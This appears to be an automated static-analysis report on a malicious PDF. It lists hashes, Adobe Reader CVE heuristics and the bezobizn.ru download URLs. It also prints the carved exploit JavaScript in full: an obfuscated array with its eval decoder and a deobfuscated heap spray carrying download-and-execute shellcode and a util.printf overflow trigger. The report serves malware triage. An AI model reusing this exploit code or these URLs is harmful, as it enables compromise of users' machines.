Malicious PDF — malware analysis report

Static analysis result for SHA-256 3831335baf53d528…

MALICIOUS

PDF

7.0 KB Created: 2009-09-23 19:43:52 Authoring application: Eblasha 4.3.6.10 (via PDF Library 2.4.4.9) First seen: 2026-05-10
MD5: 5c751755821e7f58009db57ea0f52065 SHA-1: c7028a47c5c93f15d711aaee3e1b7db49d033fd9 SHA-256: 3831335baf53d528eb5a8daf83d7fdb4dc0c21cf7abdaea55132b151c851f6a0
546 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript, including a call to eval() and String.fromCharCode, indicating obfuscated code execution. The heuristic firings suggest the JavaScript is designed to exploit PDF vulnerabilities. The extracted artifact 'javascript_obj0015_001.js' is likely part of this exploit chain, aiming to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 13

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var eiovz=0, dijpqx='';eiovz<5274;eiovz++){dijpqx += String.fromCharCode(fra[eiovz]-'aFGHJmN'.substring(eiovz%'aFGHJmN'.length,eiovz%'aFGHJmN'.length+1).charCodeAt(0));}eval(dijpqx);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bezobizn.ru/ilmx3.exe Referenced by PDF JavaScript
    • http://bezobizn.ru/ginsy3.exeReferenced by PDF JavaScript
    • http://bezobizn.ru/abgkmqvyz3.exeReferenced by PDF JavaScript

Related samples 4

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21095 bytes
SHA-256: 0019d954a227793917c20cffaf306aa34cdf3cab1c79221a53602569a0f098bb
Preview script
First 1,000 lines of the extracted script
var fra=[199,187,181,171,190,214,189,207,102,173,177,194,204,183,213,110,192,169,188,224,190,141,178,172,182,115,232,197,201,175,179,173,114,230,175,211,185,183,118,182,210,188,200,186,175,114,124,169,186,198,180,112,195,195,206,192,212,182,114,133,195,206,192,212,182,130,197,84,230,175,211,185,183,133,195,206,192,212,182,117,187,191,207,193,213,184,176,182,177,149,126,141,178,172,182,121,159,119,156,184,172,188,191,223,188,129,191,168,186,189,221,137,222,80,173,189,184,208,194,202,181,181,104,191,225,183,205,165,183,186,179,219,194,199,110,112,195,192,206,192,129,182,168,193,182,220,175,197,131,188,182,175,224,177,194,182,172,112,108,146,195,151,122,128,120,111,226,127,153,135,120,109,191,157,126,145,118,108,189,130,175,126,145,107,188,123,122,161,126,134,187,123,120,130,175,115,214,126,137,125,126,146,195,145,122,123,120,111,226,130,145,126,137,109,191,165,144,145,122,108,189,122,161,130,145,107,188,122,122,157,146,134,187,121,120,122,157,115,214,121,139,120,122,146,195,145,118,126,139,111,226,126,145,125,126,109,191,157,127,152,122,108,189,125,160,145,148,107,188,126,126,176,126,134,187,123,120,130,175,115,214,125,127,123,122,146,195,153,136,119,139,111,226,126,164,122,119,109,191,164,126,153,136,108,189,139,177,127,164,107,188,125,130,165,144,134,187,140,138,122,165,115,214,126,137,120,131,146,195,148,122,123,120,111,226,130,145,126,139,109,191,165,144,152,137,108,189,125,176,131,153,107,188,124,126,163,143,134,187,139,121,127,174,115,214,120,137,141,124,146,195,153,136,140,122,111,226,147,163,139,138,109,191,162,143,149,140,108,189,130,160,131,147,107,188,125,128,178,143,134,187,124,125,130,166,115,214,123,125,120,126,146,195,153,136,124,127,111,226,129,164,125,122,109,191,164,130,153,136,108,189,129,165,129,148,107,188,142,125,157,129,134,187,127,138,127,163,115,214,120,119,127,128,146,195,167,121,119,123,111,226,145,154,121,122,109,191,162,126,149,127,108,189,139,177,130,146,107,188,142,144,160,129,134,187,119,142,125,163,115,214,119,123,138,143,146,195,148,126,119,123,111,226,133,149,140,121,109,191,176,127,145,126,108,189,122,177,145,167,107,188,142,139,157,129,134,187,140,138,126,157,115,214,123,127,141,144,146,195,167,126,122,138,111,226,147,150,125,124,109,191,165,144,150,139,108,189,124,161,130,151,107,188,139,125,157,129,134,187,127,138,128,163,115,214,122,127,120,141,146,195,150,124,127,138,111,226,126,148,119,138,109,191,165,144,165,121,108,189,130,174,126,149,107,188,139,125,157,129,134,187,124,141,127,179,115,214,137,122,125,122,146,195,152,138,127,140,111,226,131,152,118,127,109,191,175,134,150,120,108,189,141,174,129,148,107,188,125,140,165,143,134,187,136,122,143,165,115,214,140,141,142,144,146,195,148,120,141,142,111,226,134,163,137,119,109,191,179,128,167,125,108,189,126,179,143,166,107,188,127,127,175,134,134,187,125,125,124,178,115,214,135,137,127,130,146,195,154,126,125,126,111,226,143,163,124,125,109,191,176,126,148,121,108,189,128,158,144,153,107,188,120,122,163,130,134,187,124,120,122,157,115,214,123,123,126,130,146,195,152,120,125,128,111,226,129,150,124,124,109,191,158,145,147,122,108,189,129,161,132,154,107,188,125,126,162,126,134,187,137,128,127,160,115,214,140,138,137,139,146,195,152,137,119,140,111,226,131,150,140,141,109,191,165,144,145,122,108,189,130,160,148,153,107,188,120,141,176,130,134,187,125,139,140,157,115,214,139,119,128,139,146,195,150,118,128,128,111,226,132,167,124,127,109,191,159,147,151,139,108,189,128,165,132,149,107,188,127,124,164,131,134,187,125,140,128,176,115,214,136,127,125,126,146,195,149,139,127,141,111,226,147,164,118,140,109,191,162,131,167,140,108,189,131,160,126,149,107,188,123,125,162,126,134,187,124,120,141,157,115,214,123,125,125,122,146,195,150,123,127,138,111,226,134,148,118,123,109,191,164,148,164,120,108,189,141,159,134,148,107,188,125,124,161,145,134,187,137,128,127,157,115,214,119,136,123,128,146,195,152,118,121,142,111,226,131,150,140,141,109,191,162,144,145,122,108,189,127,163,131,152,107,188,129,130,175,134,134,187,127,137,144,178,115,214,140,141,120,143,146,195,145,122,124,125,111,226,126,145,124,136,109,191,177,133,167,140,108,189,129,161,132,153,107,188,127,122,164,130,134,187,121,142,125,174,115,214,124,121,122,144,146,195,152,135,125,125,111,226,132,147,124,141,109,191,164,143,151,127,108,189,124,178,132,166,107,188,127,127,164,128,134,187,125,129,124,179,115,214,124,139,126,141,146,195,148,121,126,128,111,226,132,150,120,140,109,191,163,131,152,126,108,189,122,157,126,145,104,112,131,192,206,192,129,180,182,184,135,226,188,198,185,170,169,186,210,118,131,107,188,120,139,157,143,134,187,119,137,122,174,115,214,118,136,120,139,146,195,145,135,119,137,108,150,88,215,167,185,104,178,210,175,209,168,179,183,173,216,139,207,181,183,115,186,206,199,205,181,168,172,133,227,175,211,102,169,177,177,207,186,208,169,178,133,191,219,179,212,169,168,184,175,149,112,134,187,119,137,122,174,115,214,118,136,120,139,143,119,156,188,168,186,106,213,179,194,170,172,186,189,214,200,198,131,121,120,133,227,175,211,102,186,184,188,206,199,158,174,172,169,174,210,192,212,175,193,173,117,213,179,194,182,169,180,185,208,185,143,178,172,182,177,225,182,156,189,175,177,182,210,118,195,175,174,170,182,220,177,204,116,179,173,184,212,194,201,130,186,184,188,206,199,138,193,169,177,177,207,186,208,169,178,115,135,207,183,200,168,179,183,173,216,137,222,80,189,169,188,141,180,202,178,179,170,182,220,177,204,131,169,177,177,207,186,208,169,178,118,189,226,176,212,186,185,177,184,212,118,145,114,186,184,188,206,199,138,129,189,169,188,141,176,205,181,170,179,135,207,183,200,168,179,183,173,216,124,212,187,169,187,190,223,183,207,173,111,120,118,207,183,200,168,179,183,173,216,124,205,171,181,175,190,213,123,212,182,185,169,195,150,137,216,174,176,180,175,149,176,205,181,170,179,120,217,179,207,173,187,176,117,224,190,211,167,192,132,122,229,130,145,118,119,120,115,232,176,205,181,170,179,135,207,186,208,169,178,115,172,217,189,196,177,114,174,179,217,186,195,178,182,171,181,168,203,107,188,168,186,106,218,179,206,165,168,186,188,206,199,158,180,172,191,106,174,192,211,167,192,112,115,168,180,208,184,111,190,171,223,110,202,131,119,131,179,169,127,149,118,119,131,179,152,121,138,193,180,173,183,204,175,211,184,168,193,165,214,171,158,168,179,183,173,216,121,201,171,168,184,172,217,189,196,177,130,197,84,227,175,211,102,181,189,183,170,127,147,127,128,129,131,166,135,154,127,128,129,131,166,135,154,127,128,129,131,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,129,188,188,179,217,124,209,184,176,182,190,211,118,131,107,123,125,122,157,126,199,104,115,182,191,218,119,156,195,81,174,191,219,177,213,175,182,182,106,208,189,205,178,168,170,169,210,187,194,175,179,112,115,232,196,194,184,103,187,178,210,186,205,169,182,172,175,170,195,207,171,186,171,171,221,179,137,104,108,189,128,161,135,145,107,188,121,130,174,127,134,187,119,120,122,157,115,214,126,137,120,122,146,195,148,118,123,120,111,226,130,145,126,137,109,191,165,144,150,122,108,189,122,161,130,145,107,188,124,122,165,144,134,187,127,138,122,161,115,214,118,123,124,122,146,195,147,118,119,140,111,226,128,145,118,119,109,191,160,146,145,118,108,189,122,157,133,164,107,188,120,122,164,133,134,187,119,121,129,161,115,214,121,122,139,125,146,195,151,122,138,120,111,226,130,145,126,137,109,191,164,134,148,118,108,189,130,175,126,164,107,188,120,141,161,126,134,187,126,120,130,175,115,214,135,139,121,141,146,195,150,126,127,138,111,226,147,163,118,127,109,191,165,144,145,127,108,189,125,161,130,145,107,188,124,122,165,146,134,187,127,138,129,176,115,214,121,138,125,130,146,195,149,122,125,137,111,226,146,146,123,136,109,191,159,144,166,120,108,189,130,175,147,147,107,188,141,140,178,145,134,187,124,137,126,179,115,214,126,122,125,124,146,195,150,124,140,137,111,226,131,150,126,128,109,191,162,132,145,122,108,189,130,175,131,152,107,188,123,141,164,129,134,187,126,124,130,175,115,214,125,127,123,125,146,195,167,121,119,123,111,226,134,163,123,125,109,191,159,126,152,124,108,189,144,160,126,148,107,188,139,131,160,129,134,187,124,120,126,166,115,214,135,139,124,123,146,195,167,140,122,123,111,226,126,167,121,125,109,191,158,130,163,139,108,189,125,165,126,148,107,188,127,126,179,128,134,187,138,121,122,165,115,214,118,139,139,144,146,195,167,135,119,123,111,226,147,163,122,119,109,191,162,134,166,140,108,189,144,165,129,163,107,188,141,127,164,131,134,187,127,138,127,178,115,214,120,123,124,128,146,195,164,121,119,123,111,226,134,163,124,125,109,191,161,134,145,137,108,189,127,163,134,163,107,188,120,125,158,145,134,187,127,138,142,160,115,214,126,136,120,126,146,195,164,121,119,123,111,226,131,166,123,141,109,191,176,129,150,118,108,189,129,177,134,165,107,188,125,129,157,134,134,187,137,128,127,159,115,214,137,136,123,125,146,195,150,136,127,137,111,226,143,147,139,127,109,191,179,148,167,140,108,189,125,159,148,167,107,188,128,140,176,126,134,187,141,122,144,164,115,214,122,141,137,143,146,195,152,123,137,128,111,226,132,150,120,140,109,191,174,144,152,126,108,189,131,165,132,151,107,188,137,140,163,132,134,187,138,120,125,160,115,214,124,120,138,130,146,195,145,118,125,124,111,226,131,145,118,119,109,191,162,130,151,126,108,189,129,159,132,153,107,188,123,127,163,131,134,187,120,139,124,161,115,214,125,123,126,131,146,195,150,122,124,120,111,226,144,153,123,122,109,191,179,145,162,135,108,189,129,176,126,165,107,188,125,127,179,148,134,187,127,138,122,161,115,214,126,122,142,130,146,195,145,137,138,124,111,226,132,164,136,119,109,191,178,126,153,135,108,189,127,157,135,153,107,188,126,144,163,134,134,187,121,141,128,178,115,214,124,127,126,126,146,195,152,120,126,125,111,226,132,165,124,138,109,191,175,134,150,122,108,189,126,178,134,166,107,188,141,141,157,147,134,187,124,125,144,179,115,214,127,122,120,126,146,195,148,121,124,120,111,226,131,145,137,119,109,191,162,132,150,118,108,189,127,162,134,163,107,188,128,125,157,130,134,187,126,142,141,159,115,214,137,121,128,125,146,195,150,120,123,139,111,226,144,153,123,119,109,191,158,143,148,124,108,189,129,157,128,167,107,188,125,127,179,148,134,187,124,138,122,161,115,214,123,125,125,129,146,195,154,126,137,128,111,226,134,162,140,140,109,191,179,148,145,139,108,189,122,161,131,150,107,188,120,122,163,143,134,187,139,127,144,179,115,214,125,123,126,130,146,195,152,118,126,124,111,226,128,167,121,136,109,191,163,128,147,140,108,189,129,174,132,150,107,188,126,124,163,148,134,187,126,137,128,166,115,214,120,140,126,143,146,195,152,123,126,122,111,226,132,152,120,141,109,191,163,147,151,127,108,189,129,166,133,148,107,188,122,143,160,129,134,187,126,128,128,162,115,214,118,119,126,127,143,119,156,188,168,186,106,218,179,206,165,168,186,188,206,199,158,180,172,191,106,174,192,211,167,192,112,115,168,196,194,184,103,171,173,170,126,217,118,170,120,173,157,177,145,169,130,190,171,223,110,194,170,171,186,135,157,198,149,118,119,120,122,157,137,215,167,185,104,189,208,173,205,171,181,133,189,213,179,205,178,170,183,174,210,124,205,171,181,175,190,213,120,147,129,189,169,188,141,186,198,180,132,169,174,209,192,142,110,186,171,169,217,179,207,113,119,192,125,165,119,156,188,168,186,106,230,175,211,185,183,133,191,219,179,212,169,168,184,175,149,112,134,187,128,120,131,157,115,214,127,119,129,122,143,119,156,191,168,186,189,221,139,199,175,191,167,179,225,118,218,167,185,187,186,153,186,198,180,112,131,192,206,192,129,169,182,189,184,225,128,158,110,170,171,119,157,198,149,118,119,120,122,157,119,144,167,171,172,188,168,180,208,184,111,190,171,223,110,196,181,188,182,190,170,126,156,169,182,189,184,225,138,196,181,188,182,190,159,137,196,181,188,182,190,152,121,138,193,180,173,183,204,175,211,184,168,193,165,208,189,214,180,187,165,135,230,175,211,185,183,115,189,213,179,205,178,170,183,174,210,137,222,80,189,169,188,141,189,215,171,185,174,182,220,197,158,187,181,173,189,208,175,209,171,111,106,111,226,126,196,118,170,109,191,157,177,145,169,105,113,133,228,182,202,178,172,112,185,227,179,211,172,179,183,193,155,186,198,180,174,188,178,169,130,149,127,124,122,115,232,189,215,171,185,174,182,220,197,140,131,182,190,175,223,180,205,181,190,131,199,119,194,201,175,186,118,173,220,186,205,167,169,155,190,220,192,198,131,138,183,182,217,175,195,116,170,183,182,217,179,196,186,140,181,171,214,186,170,180,173,183,114,232,193,214,168,177,130,108,143,122,206,185,174,130,185,227,179,211,172,179,183,193,234,119,156,195,81,174,191,219,177,213,175,182,182,106,208,189,205,178,168,170,169,212,179,213,175,170,183,184,149,119,220,175,173,112,171,221,190,143,170,182,171,120,176,189,205,178,168,170,120,212,179,213,143,170,183,184,150,201,215,167,185,104,171,223,192,218,131,181,173,193,141,143,211,184,168,193,114,150,137,215,167,185,104,192,227,190,198,186,175,193,171,170,195,207,171,186,171,171,221,179,137,104,108,189,128,161,135,145,107,188,121,130,174,127,134,187,119,120,122,157,115,214,126,137,120,122,146,195,148,118,123,120,111,226,130,145,126,137,109,191,165,144,150,122,108,189,122,161,130,145,107,188,124,122,165,144,134,187,127,138,122,161,115,214,118,123,124,122,146,195,147,118,119,140,111,226,128,145,118,119,109,191,160,146,145,118,108,189,122,157,133,164,107,188,120,122,164,133,134,187,119,121,129,161,115,214,121,122,139,125,146,195,151,122,138,120,111,226,130,145,126,137,109,191,164,134,148,118,108,189,130,175,126,164,107,188,120,141,161,126,134,187,126,120,130,175,115,214,135,139,121,141,146,195,150,126,127,138,111,226,147,163,118,127,109,191,165,144,145,127,108,189,125,161,130,145,107,188,124,122,165,146,134,187,127,138,129,176,115,214,121,138,125,130,146,195,149,122,125,137,111,226,146,146,123,136,109,191,159,144,166,120,108,189,130,175,147,147,107,188,141,140,178,145,134,187,124,137,126,179,115,214,126,122,125,124,146,195,150,124,140,137,111,226,131,150,126,128,109,191,162,132,145,122,108,189,130,175,131,152,107,188,123,141,164,129,134,187,126,124,130,175,115,214,125,127,123,125,146,195,167,121,119,123,111,226,134,163,123,125,109,191,159,126,152,124,108,189,144,160,126,148,107,188,139,131,160,129,134,187,124,120,126,166,115,214,135,139,124,123,146,195,167,140,122,123,111,226,126,167,121,125,109,191,158,130,163,139,108,189,125,165,126,148,107,188,127,126,179,128,134,187,138,121,122,165,115,214,118,139,139,144,146,195,167,135,119,123,111,226,147,163,122,119,109,191,162,134,166,140,108,189,144,165,129,163,107,188,141,127,164,131,134,187,127,138,127,178,115,214,120,123,124,128,146,195,164,121,119,123,111,226,134,163,124,125,109,191,161,134,145,137,108,189,127,163,134,163,107,188,120,125,158,145,134,187,127,138,142,160,115,214,126,136,120,126,146,195,164,121,119,123,111,226,131,166,123,141,109,191,176,129,150,118,108,189,129,177,134,165,107,188,125,129,157,134,134,187,137,128,127,159,115,214,137,136,123,125,146,195,150,136,127,137,111,226,143,147,139,127,109,191,179,148,167,140,108,189,125,159,148,167,107,188,128,140,176,126,134,187,141,122,144,164,115,214,122,141,137,143,146,195,152,123,137,128,111,226,132,150,120,140,109,191,174,144,152,126,108,189,131,165,132,151,107,188,137,140,163,132,134,187,138,120,125,160,115,214,124,120,138,130,146,195,145,118,125,124,111,226,131,145,118,119,109,191,162,130,151,126,108,189,129,159,132,153,107,188,123,127,163,131,134,187,120,139,124,161,115,214,125,123,126,131,146,195,150,122,124,120,111,226,144,153,123,122,109,191,179,145,162,135,108,189,129,176,126,165,107,188,125,127,179,148,134,187,127,138,122,161,115,214,126,122,142,130,146,195,145,137,138,124,111,226,132,164,136,119,109,191,178,126,153,135,108,189,127,157,135,153,107,188,126,144,163,134,134,187,121,141,128,178,115,214,124,127,126,126,146,195,152,120,126,125,111,226,132,165,124,138,109,191,175,134,150,122,108,189,126,178,134,166,107,188,141,141,157,147,134,187,124,125,144,179,115,214,127,122,120,126,146,195,148,121,124,120,111,226,131,145,137,119,109,191,162,132,150,118,108,189,127,162,134,163,107,188,128,125,157,130,134,187,126,142,141,159,115,214,137,121,128,125,146,195,150,120,123,139,111,226,144,153,123,119,109,191,158,143,148,124,108,189,129,157,128,167,107,188,125,127,179,148,134,187,124,138,122,161,115,214,123,125,125,129,146,195,154,126,137,128,111,226,134,162,140,140,109,191,179,148,145,139,108,189,122,161,131,150,107,188,120,122,163,143,134,187,139,127,144,179,115,214,125,123,126,130,146,195,152,118,126,124,111,226,128,167,121,136,109,191,163,128,147,140,108,189,129,174,132,150,107,188,126,124,163,148,134,187,126,137,128,166,115,214,120,140,126,143,146,195,152,123,126,122,111,226,132,146,120,141,109,191,163,133,151,120,108,189,128,177,132,163,107,188,127,128,164,127,134,187,126,137,129,166,115,214,120,140,123,125,146,195,152,126,125,125,111,226,126,145,124,124,106,115,168,196,194,184,103,176,161,222,131,145,118,138,150,135,227,196,209,171,187,176,195,206,124,205,171,181,175,190,213,120,147,129,189,169,188,141,186,198,180,132,120,194,161,126,145,118,119,120,119,149,182,184,183,124,120,122,176,156,140,118,191,123,130,150,137,215,167,185,104,195,206,192,212,182,132,189,184,210,193,196,167,183,173,114,143,115,214,127,119,129,122,146,195,154,118,128,120,108,150,137,218,167,185,187,186,170,180,202,190,166,177,190,149,199,194,184,186,184,118,217,179,207,111,130,190,171,223,110,209,123,136,178,149,163,131,199,131,111,120,194,157,177,145,169,119,171,122,208,123,145,190,123,120,122,157,126,145,111,118,120,194,161,126,145,118,119,120,133,211,189,211,110,189,169,188,141,196,210,169,152,140,131,163,199,158,118,130,190,187,208,159,165,127,125,193,134,221,131,162,176,146,126,127,211,137,215,183,170,153,142,166,132,218,113,114,113,197,206,192,211,191,162,190,187,208,159,165,127,125,193,167,170,199,194,184,186,184,117,227,196,209,171,187,176,195,206,137,222,80,189,169,188,141,194,182,147,175,150,172,180,197,158,187,181,173,189,208,175,209,171,111,106,111,157,135,131,111,130,191,178,214,186,198,110,187,157,151,213,156,195,141,190,118,182,210,188,200,186,175,132,122,229,130,145,118,119,113,197,225,163,174,174,149,170,145,228,121,158,186,156,149,178,187,176,168,189,130,197,84,225,163,174,174,149,170,145,228,139,131,148,117,106,117,225,163,174,174,149,170,145,228,137,194,182,183,118,174,220,177,143,137,182,180,182,206,176,143,173,172,188,147,208,189,207,110,187,157,151,213,156,195,141,190,113,133,234,203,107,172,188,182,173,225,183,208,180,103,184,174,211,173,212,186,168,186,190,149,119,220,188,168,186,106,227,179,211,185,176,183,184,170,175,209,182,117,190,179,210,197,198,184,157,173,188,224,183,208,180,117,188,185,192,194,211,175,181,175,114,150,137,215,171,185,187,179,220,188,158,188,172,186,189,214,189,207,116,185,173,186,217,175,196,171,111,119,166,177,125,200,114,110,111,115,168,196,194,184,103,190,171,223,193,202,181,181,167,171,223,192,194,191,132,182,175,228,110,162,184,185,169,195,149,196,198,184,186,177,185,219,124,196,174,168,186,139,225,118,145,111,115,190,175,223,193,202,181,181,118,173,213,175,211,135,187,112,123,150,122,215,171,185,187,179,220,188,143,169,175,169,188,174,194,137,120,112,113,133,214,180,137,110,189,169,188,224,183,208,180,166,169,188,223,175,218,161,119,165,135,170,134,138,108,109,112,192,206,192,212,175,182,182,169,206,192,211,167,192,163,123,202,139,158,118,112,196,198,149,196,194,184,186,177,185,219,173,194,184,185,169,195,200,127,190,131,132,121,112,147,196,194,184,186,177,185,219,173,194,184,185,169,195,200,128,190,130,122,113,115,232,195,213,175,179,167,186,223,183,207,186,173,112,115,168,203,107,175,173,112,114,227,175,211,185,176,183,184,204,175,211,184,168,193,165,157,171,157,126,112,196,198,149,196,194,184,186,177,185,219,173,194,184,185,169,195,200,126,190,131,132,128,112,147,196,194,184,186,177,185,219,173,194,184,185,169,195,200,127,190,130,121,110,112,227,175,211,185,176,183,184,204,175,211,184,168,193,165,159,171,157,120,112,113,197,208,189,205,178,168,170,169,210,187,194,175,179,112,115,168,203,107,175,173,112,114,227,175,211,185,176,183,184,204,175,211,184,168,193,165,157,171,157,127,112,196,198,149,196,194,184,186,177,185,219,173,194,184,185,169,195,200,126,190,131,132,129,112,147,196,194,184,186,177,185,219,173,194,184,185,169,195,200,127,190,130,120,113,115,232,177,208,178,179,169,172,204,181,198,186,176,171,185,219,118,138,129,196,197,84,221,178,199,165,186,188,171,223,194,137,111,130];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x17E2 187 bytes
SHA-256: 026d2e4a93cdfc88bd06f94df1041d5a67b7e227e54329ccb7f0069102ec5e0c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var eiovz=0, dijpqx='';eiovz<5274;eiovz++){dijpqx += String.fromCharCode(fra[eiovz]-'aFGHJmN'.substring(eiovz%'aFGHJmN'.length,eiovz%'aFGHJmN'.length+1).charCodeAt(0));}eval(dijpqx);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5274 bytes
SHA-256: 052fa1ad7a7b397d7475021a44d2bd34da84c4a61f6ea5a88398003fed789a7e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u692F%u6D6C%u3378%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
